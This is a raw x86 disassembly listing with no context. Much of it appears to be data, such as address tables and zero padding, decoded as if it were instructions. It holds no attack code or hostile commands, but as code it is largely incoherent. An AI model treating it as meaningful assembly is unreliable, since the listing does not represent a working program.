add byte [eax + 0x7a], dl
inc edx
jp 0x44bdf1
add al, al
jns 0x44bdf5
add byte [esi - 0x6fffbd86], ah
jp 0x44bdf9
add byte [eax - 0x6fffbd86], dl
jp 0x44be01
jp 0x44bdfd
add byte [eax - 0x6fffbd86], dl
jp 0x44be05
add byte [eax - 0x59ffbd86], dl
add byte [esi - 0x6fffbd86], ah
jp 0x44be09
add byte [eax - 0x46ffbd86], dl
jp 0x44be0d
add byte [ecx - 0x5fffbd85], bh
jnp 0x44be15
jnp 0x44be11
add byte [eax - 0x30ffbd85], ah
add bh, cl
jnp 0x44be19
add byte [esi - 0x31ffbd82], bh
jle 0x44be1d
add dh, cl
jle 0x44be21
add ch, bl
jle 0x44be25
add byte [ebp - 0x3effbd81], dh
jg 0x44be29
add cl, al
jg 0x44be2d
add byte [ebp - 0x60ffbd81], dh
jg 0x44be31
add byte [edi + 0x427f], bl
jg 0x44be35
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add al, dl
add dword [edx], 0x4281f0
ljmp 0x4286
add dword [edx], 0x4281ea
pop edx
add dword [edx], 0x42865a
xchg byte [edx], al
loopne 0x44bd99
xchg dword [edx], eax
std
inc edx
add ch, bh
add byte [edx], 0xf
add dword [edx], 0x17
add dword [edx], 0xf
mov byte [edx], al
out dx, al
xchg dword [edx], eax
add dword [eax], eax
add byte [eax], al
js 0x850fbe74
add byte [eax], al
add byte [edi], cl
mov byte [edx], al
retf
test byte [edx], al
add byte [eax - 0x7b60ffbe], cl
inc edx
add byte [edi - 0x60ffbd7c], bl
inc edx
add byte [eax], al
mov byte [edx], al
lahf
test byte [edx], al
lahf
test byte [edx], al
lahf
test byte [edx], al
movsd dword es:[edi], dword [esi]
test byte [edx], al
scasb al, byte es:[edi]
test byte [edx], al
mov ah, 0x84
inc edx
add byte [ebp - 0x2effbd7c], bh
test byte [edx], al
add dword [eax], eax
add byte [eax], al
test dword [edi - 0x7713ffbe], 0x891c0042
inc edx
add ch, cl
mov dword [edx], eax
fimul dword [ecx - 0x761affbe]
inc edx
add byte [ecx], al
add byte [eax], al
add dl, bl
mov dword [edx], eax
fimul dword [ecx - 0x7625ffbe]
inc edx
add byte [ecx], al
add byte [eax], al
add al, dh
mov al, byte [edx]
ret 0x428a